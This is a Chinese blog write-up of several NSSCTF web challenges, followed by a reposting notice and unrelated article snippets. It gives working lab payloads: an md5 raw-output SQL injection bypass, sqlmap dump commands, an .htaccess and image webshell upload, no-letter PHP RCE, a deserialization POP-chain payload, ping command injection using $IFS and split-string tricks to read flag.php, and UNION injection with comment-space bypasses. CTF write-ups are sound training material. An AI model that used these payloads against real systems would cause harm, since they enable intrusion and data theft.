NSSSCTF做题(2)

1.[BJDCTF 2020]easy_md5

 打开页面发现没什么东西,只有一个提交表单,然后url会显示你提交的信息

源代码里也看不到什么 ,用dirsearch扫一下,这些是扫出来的数据

 抓包看到了提示

 hint: select * from 'admin' where password=md5($pass,true)

在密码加密的过程中,password=md5($pass,true)中的true表示将结果以二进制形式返回。在PHP中,md5()函数默认将结果以32位的十六进制字符串形式返回,而添加true参数后,将以16个字节的二进制字符串形式返回。

ffifdyop转化为二进制之后前面正好是‘ or ’6-------

(这个也是个之前学过的知识点,但是给忘了)

ffifdyop——绕过中一个奇妙的字符串
ffifdyop经过md5加密后为:276f722736c95d99e921722cf9ed621c

再转换为字符串:'or’6<乱码> 即 'or’66�]��!r,��b

用途:select * from admin where password=''or'6<乱码>'

就相当于select * from admin where password=''or 1 可以实现sql注入

框里输入 ffifdyop,发现成功绕过

找到了源码

分析源码

<!--
$a = $GET['a'];
$b = $_GET['b'];//get传参a,bif($a != $b && md5($a) == md5($b)){//让a不等于b,md5的a=b(用数组绕过)header('Location: levell14.php');//成功绕过,可以进入这个页面
--> 

 成功进入下一个页面

 继续审计

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){//还是数组绕过

    echo $flag;
}
 

 得到flag

 [SWPUCTF 2021 新生赛]easyupload3.0

他还提示试试和某些文件配合  

 

上传.htaccess文件成功

 上传图片马成功,用蚁剑连接

连接成功

找到flag 没有技术含量

[LitCTF 2023]我Flag呢?

在源码里找到flag

[SWPUCTF 2021 新生赛]error

输入1' and 1=1 发现报错

确定是SQL注入,再试试看看是什么类型的注入

没变化,用sqlmap跑一下

跑出来了,开始注入

 查数据库

 sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" --dbs -batch

查表名

sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db --tables

查列名

sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db -T test_tb --columns 

 

查字段内容

sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db -T test_tb -C flag --dump 

 得到flag

[SWPUCTF 2021 新生赛]hardrce

php代码审计

简单写了一下

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))//get传参
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];//黑名单
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {//正则限制 /,/m,黑名单
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))//正则限制字母
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";//全部绕过之后
eval($wllm);//eval危险函数执行
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

php eval()函数

(PHP 4, PHP 5, PHP 7, PHP 8)

eval — 把字符串作为PHP代码执行

说明 eval(string $code)

把字符串 code 作为PHP代码执行。

    函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。
    如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,要允许传入任何由用户提供的、未经完整验证过的数据 。

看了这些之后还是没思路,然后看到提示说是无字母rce

去网上找了无字母rce的内容

下边是办法

异或(^)达到命令执行

要求的符号: ^

取反(~)达到命令执行

要求的符号:~

或(|)达到命令执行

要求的符号:|

自增自减(++,–)达到命令执行

要求的符号:"$", “.”, “_”, “=”,"+" 和一些其他的符号。

这里我只做简单概述,具体的我也没有学清楚

推荐大佬的博客:

奇安信攻防社区-PHP正则表达式绕过姿势之异或绕过(PHP正则表达式绕过姿势之异或绕过)

web安全-PHP-url编码取反绕过正则-思考_Red snow的博客-CSDN博客

这道题没过滤 |,~ 可以考虑或和取反绕过

构造payload:

我们首先对一串代码进行取反,然后再进行url编码,在发送请求的时候将其再次取反即可。因为取反之后基本都是不可见字符,所以基本上不会被正则匹配到

得到flag的文件

 接着取反

得到flag

这道题主要还是正则绕过吧,异或取反自增很重要,要恶补一下

[LitCTF 2023]PHP是世界上最好的语言!! 

 

打开发现是这样的

直接一个命令执行,结束

 [SWPUCTF 2021 新生赛]pop

代码审计 涉及到反序列化

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>
 

解析代码 :

  1. <?php:这是PHP的开始标记,表示代码是PHP脚本。

  2. error_reporting(0);:这行代码设置PHP错误报告级别为0,意味着禁止显示错误信息。这可能是为了隐藏脚本中的潜在漏洞。

  3. show_source("index.php");:这行代码调用了show_source()函数来显示当前脚本文件(index.php)的源代码。

  4. class w44m{...}:这是一个名为w44m的类的定义。它包含了一个私有成员变量admin和一个受保护的成员变量passwd,以及一个公共方法Getflag()Getflag()方法检查adminpasswd的值是否为特定的字符串,如果匹配则包含并显示flag.php文件的内容,否则显示一些其他信息。

  5. class w22m{...}:这是一个名为w22m的类的定义。它包含一个公共成员变量w00m和一个特殊的魔术方法__destruct()__destruct()方法在对象销毁时自动调用,并输出w00m的值。

  6. class w33m{...}:这是一个名为w33m的类的定义。它包含两个公共成员变量w00mw22m,以及一个特殊的魔术方法__toString()__toString()方法在将对象作为字符串使用时自动调用,并通过调用w00m对象的$w22m方法来执行一些操作,然后返回0。

  7. $w00m = $_GET['w00m'];:这行代码从URL参数中获取名为w00m的值,并将其赋给变量$w00m

  8. unserialize($w00m);:这行代码使用unserialize()函数对$w00m进行反序列化。反序列化是将之前序列化的数据重新转换为PHP对象的过程。在这段代码中,它的目的是将$w00m的值反序列化为一个对象。

 php脚本:

<?php
class w44m{

    private $admin;
    protected $passwd;
    public function __construct(){
        $this->admin="w44m";
        $this->passwd="08067";
        
    }
    }
class w22m{
    public $w00m;
    public function __construct($c){
    $this->w00m=$c;
    
    }
}
class w33m{
    public $w00m;
    public $w22m="Getflag";
    public function __construct($p){
     $this->w00m=$p;
    }
}
$x=new w44m();
$b=new w33m($x);
$d=new w22m($b);
echo urlencode(serialize($d));
?>

解释:

它创建了三个类w44mw22mw33m,并实例化这些类来生成一个序列化后的对象,并对其进行URL编码后输出。

下面是代码的解释:

  1. class w44m{...}:这是一个名为w44m的类的定义。它包含了一个私有成员变量admin和一个受保护的成员变量passwd,以及一个构造函数__construct()。构造函数在创建类的实例时被调用,并设置adminpasswd的值为w44m08067

  2. class w22m{...}:这是一个名为w22m的类的定义。它包含一个公共成员变量w00m和一个构造函数__construct()。构造函数接受一个参数$c,并将其赋值给w00m成员变量。

  3. class w33m{...}:这是一个名为w33m的类的定义。它包含两个公共成员变量w00mw22m,以及一个构造函数__construct()。构造函数接受一个参数$p,并将其赋值给w00m成员变量。

  4. $x=new w44m();:这行代码创建了一个w44m类的实例,并将其赋值给变量$x

  5. $b=new w33m($x);:这行代码创建了一个w33m类的实例,并将之前创建的w44m实例$x作为参数传递给构造函数。然后将该实例赋值给变量$b

  6. $d=new w22m($b);:这行代码创建了一个w22m类的实例,并将之前创建的w33m实例$b作为参数传递给构造函数。然后将该实例赋值给变量$d

  7. echo urlencode(serialize($d));:这行代码对$d进行序列化,然后使用urlencode()函数对序列化后的结果进行URL编码,并将编码后的结果输出。

 得到flag

payload:O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

[NSSCTF 2022 Spring Recruit]ezgame 

提示 超过65分会给flag

在前端js代码中找到

[GXYCTF 2019]Ping Ping Ping 

输入127.0.0.1 | ls /

输入system('ls');

输入127.0.0.1

ping命令执行的相关

127.0.0.1&&+code  只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code  &表示将任务置于后台执行
127.0.0.1||+code  只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code  | 表示管道,上一条命令的输出,作为下一条命令的参数
127.0.0.1;+code  多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

127.0.0.1;ls

找到了flag.php

cat一下

?ip=127.0.0.1%3Bcat$IFS$1flag.php

 发现不行,用拼接字符串的方式来绕过

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php 

[SWPUCTF 2021 新生赛]sql

告诉参数是wllm,尝试sqlmap注入

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -dbs -batch

找到数据库名称

 

查列名

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db --tables

 

 查字段

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db -T test_tb --columns

 

查字段内容

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db -T test_tb -C flag --dump

发现这个flag是错的,还是要自己手注,等这个周末会专攻一下sql手注,老是用工具跑还是不会

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23

 

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/test_db.LTLT_flag%23 

 

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/test_db.LTLT_flag%23 

主要涉及到的就是空格绕过

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/142250.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

新手必看:Android studio 侧边栏实现,带源码

文章目录 前言效果图正文toolbar 用于定义应用程序的导航栏app_bardrawer_layout 用于创建侧边栏导航nav_header_draw app:menu"menu/activity_main_drawer" 前言 本篇内容主要是自己实现侧边栏后的一些总结&#xff0c;部分理论来着网络和ai助手&#xff0c;如有错…

一台电脑远程内网的另外一台电脑,禁止远程的电脑连接外网,只允许内网连接

一台电脑远程内网的另外一台电脑&#xff0c;禁止远程的电脑连接外网&#xff0c;只允许内网连接 1.找到右下角网卡图标&#xff0c;右键图标选择“打开网络和共享中心”。 3、点击“更改适配器设置”。 4、右键正在使用的网卡“本地连接”打开属性 5、找到“internet协…

DAZ To UMA⭐三.导入Blender的配置, 及Blender快捷键

文章目录 🟥 Blender快捷键1️⃣ 3D视图快捷键2️⃣ 视角快捷键3️⃣ 编辑快捷键4️⃣ 对物体的操作🟧 Blender导入FBX的配置🟩 设置脸部骨骼大小1️⃣ 切换视角2️⃣ 缩小脸部骨骼3️⃣ 本节效果预览🟦 设置眼角膜透明度🟥 Blender快捷键 1️⃣ 3D视图快捷键 快捷键…

UML基础与应用之面向对象

UML&#xff08;Unified Modeling Language&#xff09;是一种用于软件系统建模的标准化语言&#xff0c;它使用图形符号和文本来描述软件系统的结构、行为和交互。在面向对象编程中&#xff0c;UML被广泛应用于软件系统的设计和分析阶段。本文将总结UML基础与应用之面向对象的…

UG NX二次开发(C#)-计算直线到各个坐标系轴向的投影角度

文章目录 1、前言2、需求分析3、NXOpen方法实现3.1 创建基准坐标系3.2 然后计算直线到基准坐标系的轴向角度3.3 代码调用4、测试效果为:1、前言 最近有个粉丝问我如何计算直线到坐标系各个轴向的角度,这里用UG NX二次开发(C#)实现。当然,这里的内容是经验之谈,如果有更好的…

2、AWT介绍

2、AWT介绍 AWT是Swing的前身&#xff0c;我们使用AWT学习底层的实现而用Swing来画一些界面 2.1 AWT 介绍 AWT&#xff1a;抽象的窗口工具&#xff08;Abstract Windows Tools&#xff09;&#xff0c;包含了很多的类和接口&#xff01;用于GUI编程&#xff0c;GUI&#xff…

秦时明月沧海手游阵容推荐,秦时明月沧海角色强度

秦时明月沧海角色强度如何&#xff1f;在秦时明月沧海手游中&#xff0c;您可以从大量的角色卡牌中选择并发展&#xff0c;为了顺利通过各种副本&#xff0c;玩家们需要精心搭配阵容。那么&#xff0c;具体该如何配置最强的角色呢&#xff1f; 下面&#xff0c;小编将带各位玩家…

GeoServer运行报错503,……Unmapped relationship: 7

Windows11运行GeoServer-2.19.0报错[org.geoserver.system.status.OSHISystemInfoCollector]……Unmapped relationship: 7 问题说明解决方法 问题说明 最近换了新电脑&#xff0c;在电脑上安装了一个geoserver2.19.0版本&#xff0c;但是运行就是报错&#xff0c;虽然最后提示…

SVN_SERVER的搭建

一、目前svnserver仅支持windows下安装&#xff0c;所以前提需要一台windows服务器或者windows主机 1. 下载最新版本的包 当前最新版visualsvn server最新版5.3.0 visualsvn server下载地址Downloads | VisualSVN 当前tortoiseSVn最新版1.14.5 tortoise SVN下载地址 h…

高等数学应试考点速览(下)

函数项级数 【收敛域】上&#xff0c;收敛于&#xff1a;【和函数】&#xff1b; 幂级数&#xff1a;绝对收敛区间 ( − R , R ) (-R,R) (−R,R)&#xff0c;&#xff08;端点是否属于收敛域&#xff0c;需要再探讨&#xff09; R lim ⁡ n → ∞ ∣ a n a n 1 ∣ R\lim_{n…

Spring整合RabbitMQ——消费者

1.配置consumer xml配置文件 2. 实现MessageListener接口 并重写onMessage方法

数组01-二分查找算法

目录 数组如何实现随机访问 两个关键词 数组的特点 根据下标随机访问数组元素 为什么数组要从0开始编号&#xff0c;而不是从1开始 LeetCode之路——704. 二分查找 Code 二分查找算法 数组如何实现随机访问 数组&#xff08;Array&#xff09;是一种线性表数据结构。它…

Docker部署ActiveMQ消息中间件

1、准备工作 docker pull webcenter/activemq:5.14.3 Pwd"/data/software/activemq" mkdir ${Pwd}/data -p2、运行容器 docker run -d --name activemq \-p 61616:61616 \-p 8161:8161 \-v ${Pwd}/data:/opt/activemq/data \-v /etc/localtime:/etc/localtime \--r…

活动预告|蚂蚁集团 2023 KubeCon Shanghai 议题揭秘

9 月 26日-28 日&#xff0c;由 Linux 基金会、CNCF 主办的 KubeCon CloudNativeCon Open Source Summit China 2023 将在上海跨国采购会展中心隆重召开。本次峰会将聚集全球社区&#xff0c;共同探讨云原生和开源领域的前沿洞察、核心技术与最佳实践&#xff0c;会议主题囊括…

深拷贝与浅拷贝

首先深拷贝与浅拷贝 只针对Object 和Array这样的引用数据类型 所以基本数据类型不用考虑了 等号赋值 基本数据类型 对于基本数据类型&#xff0c;就会创建一个新的变量&#xff0c;并将原变量的值复制给新变量。 这是基于变量是存储在栈内存中的特点。简单来说&#xff0c;等…

Linux学习第20天:Linux按键输入驱动开发: 大道至简 量入为出

Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 中国文化博大精深&#xff0c;太极八卦&#xff0c;阴阳交合&#xff0c;变化无穷。在程序的开发中也是这样&#xff0c;数字0和1也是同样的道理。就本节来说&am…

pytho实例--pandas读取表格内容

前言&#xff1a;由于运维反馈帮忙计算云主机的费用&#xff0c;特编写此脚本进行运算 如图&#xff0c;有如下excel数据 计算过程中需用到数据库中的数据&#xff0c;故封装了一个读取数据库的类 import MySQLdb from sshtunnel import SSHTunnelForwarderclass SSHMySQL(ob…

【QT】Qt的随身笔记(持续更新...)

目录 Qt 获取当前电脑桌面的路径Qt 获取当前程序运行路径Qt 创建新的文本文件txt&#xff0c;并写入内容如何向QPlainTextEdit 写入内容QTimerQMessageBox的使用QLatin1StringQLayoutC在c头文件中写#include类的头文件与直接写class加类名有何区别mutable关键字前向声明 QFontQ…

面试打底稿④ 专业技能的第四部分

简历原文 抽查部分 了解Python的使用&#xff08;第一篇关于Python升级版本bug解决的文章斩获6W阅读&#xff09;&#xff0c;用python实现了几篇图像信息隐藏领 域论文的复现&#xff08;博客中有提及&#xff09;&#xff1b; 了解Django基本框架&#xff0c;写过Django框架的…

手把手教你实现:将后端SpringBoot项目部署到华为云服务器上

前言 前提&#xff1a;有一个后端项目&#xff0c;项目能够运行在本地&#xff0c;可以通过本地访问&#xff08;localhost&#xff09; 如果没有可以看这篇&#xff1a;一个基于SpringBoot的后端项目 注册华为云账号 华为云官网 购买云服务器 产品 -> 华为云耀云服务器…